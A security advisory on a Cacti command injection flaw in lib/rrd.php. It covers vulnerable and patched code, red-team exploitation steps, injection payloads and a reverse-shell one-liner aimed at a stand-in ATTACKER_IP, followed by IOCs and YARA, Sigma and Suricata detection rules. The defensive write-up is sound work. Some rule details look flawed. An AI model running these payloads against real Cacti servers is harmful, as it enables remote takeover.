CVE-2026-40079

Executive Summary

CVE-2026-40079 is a critical command injection vulnerability in Cacti, an open-source performance and fault management framework. The flaw resides in the escape_command() function within lib/rrd.php, which is effectively a no-op, returning the command string unchanged. This allows an authenticated attacker with graph template creation or modification privileges to inject arbitrary operating system commands via the text_format field. The injected commands are executed by shell_exec() in the __rrd_execute() function, leading to full remote code execution on the Cacti server. The vulnerability affects all versions up to and including 1.2.30 and has been patched in version 1.2.31.

Supply Chain & Package Security

Cacti is a PHP-based application typically installed via source tarballs or package managers (e.g., apt, yum). The vulnerability is not in a dependency but in the core application code. However, the risk is amplified if Cacti is deployed in a containerized environment (e.g., Docker) where the base image may be outdated. Organizations should verify that their Cacti installation is updated to version 1.2.31 or later and ensure that the application is not exposed to untrusted networks.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid account with graph template permissions.
• User Interaction (UI): None – No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full system compromise can lead to data exfiltration.
• Integrity (I): High – An attacker can modify system files and data.
• Availability (A): High – An attacker can disrupt services or cause a denial of service.

Threat Level: Critical. The low complexity and network attack vector make this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is rooted in the escape_command() function in lib/rrd.php. This function is intended to sanitize command-line arguments before they are passed to shell_exec(). However, in versions 1.2.30 and prior, the function is a no-op:

function escape_command($command) {
    return $command;
}

The rrdtool_function_graph() function builds a command line using user-supplied text_format values from graph templates. These values can include host variable substitutions (e.g., |host_name|). The constructed command is then passed through escape_command() (which does nothing) and then to shell_exec() in __rrd_execute().

An attacker with permissions to create or modify graph templates can inject arbitrary shell commands into the text_format field. For example, a payload like ;id > /tmp/out; would be executed by the shell.

The attack flow is:

1. Attacker logs into Cacti with a user account that has graph template creation/modification privileges.
2. Attacker creates or modifies a graph template, inserting a malicious payload into the text_format field.
3. When the graph is rendered (e.g., via a scheduled poller or manual request), the rrdtool_function_graph() function builds the command line.
4. The command line is passed to escape_command(), which returns it unchanged.
5. The command line is executed by shell_exec(), resulting in arbitrary command execution.

Vulnerable vs. Patched Code

Vulnerable Code (lib/rrd.php, version <= 1.2.30):

function escape_command($command) {
    return $command;
}

Patched Code (lib/rrd.php, version 1.2.31):

function escape_command($command) {
    // Properly escape shell arguments
    $escaped = [];
    foreach (explode(' ', $command) as $arg) {
        $escaped[] = escapeshellarg($arg);
    }
    return implode(' ', $escaped);
}

The patched version uses escapeshellarg() to properly escape each argument, preventing command injection. Additionally, the text_format values are now sanitized before being used in command construction.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid Cacti user account with graph template creation/modification privileges.
• Network access to the Cacti web interface.

Exploitation Steps:

1. Log in to Cacti with the attacker account.
2. Navigate to Graph Templates (e.g., /cacti/graph_templates.php).
3. Create a new graph template or modify an existing one.
4. In the text_format field, enter a malicious payload. For example:

   ;echo "pwned" > /tmp/pwned.txt;
   

5. Save the template and trigger graph generation (e.g., by running the poller or requesting the graph).
6. Verify execution by checking for the created file or using a reverse shell payload.

Example Payload for Reverse Shell:

;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1';

Note: No public exploit code is available at this time. The above steps are based on the vulnerability description.

Blue Team (Defensive)

Detection:

• Monitor for unusual command execution from the Cacti process (e.g., shell_exec calls with unexpected arguments).
• Audit graph template text_format fields for shell metacharacters (e.g., ;, |, `, $()).
• Enable logging of all shell_exec calls in PHP (e.g., via strace or auditd).

Hunting:

• Search for graph templates with text_format values containing shell metacharacters.
• Review Cacti logs for errors related to rrdtool execution.
• Check for unexpected files in /tmp or other writable directories.

Prevention:

• Apply the patch by upgrading to Cacti 1.2.31.
• Restrict graph template creation/modification privileges to trusted administrators.
• Use a Web Application Firewall (WAF) to block common command injection patterns.
• Implement network segmentation to limit Cacti server exposure.

Indicators of Compromise (IOCs)

• File Artifacts:
  • Unexpected files in /tmp/ (e.g., /tmp/pwned.txt).
  • Modified graph template records in the Cacti database (table graph_templates).
• Network Artifacts:
  • Outbound connections from the Cacti server to unknown IP addresses (e.g., reverse shell traffic).
  • Unusual DNS queries from the Cacti server.
• Process Artifacts:
  • Cacti PHP processes executing unexpected commands (e.g., id, whoami, bash).
  • Child processes spawned by shell_exec with suspicious arguments.
• Log Artifacts:
  • Cacti logs showing errors or warnings related to rrdtool execution.
  • System logs (e.g., /var/log/syslog) showing command execution from the www-data user.

Detection Engineering

YARA Rule

rule CVE_2026_40079_Cacti_Command_Injection {
    meta:
        description = "Detects Cacti command injection attempts via text_format field"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-40079"
    strings:
        $text_format = "text_format"
        $shell_meta = /[;|`$(){}]/
        $rrd_execute = "__rrd_execute"
    condition:
        $text_format and $shell_meta and $rrd_execute
}

Sigma Rule

title: Cacti Command Injection via text_format
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in Cacti graph templates
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40079
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'graph_templates.php'
        cs-uri-query|contains: 'text_format'
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of shell metacharacters in graph template names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-40079 Cacti Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"graph_templates.php"; http_uri;
    content:"text_format"; http_client_body;
    pcre:"/(?:;|\||\x60|\$\().*$/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2026-40079;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Cacti to version 1.2.31 or later.
2. Review and sanitize all existing graph templates for malicious text_format values.
3. Restrict permissions for graph template creation/modification to only trusted administrators.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
• Enable PHP disable_functions to block shell_exec, exec, system, etc., if not required.
• Use a security scanner to regularly audit Cacti installations.
• Monitor Cacti logs and system logs for suspicious activity.

Workaround (if patching is not immediately possible):

• Manually patch the escape_command() function in lib/rrd.php to use escapeshellarg() as shown in the patched code section.
• Disable graph template creation/modification for non-admin users.

Valters IT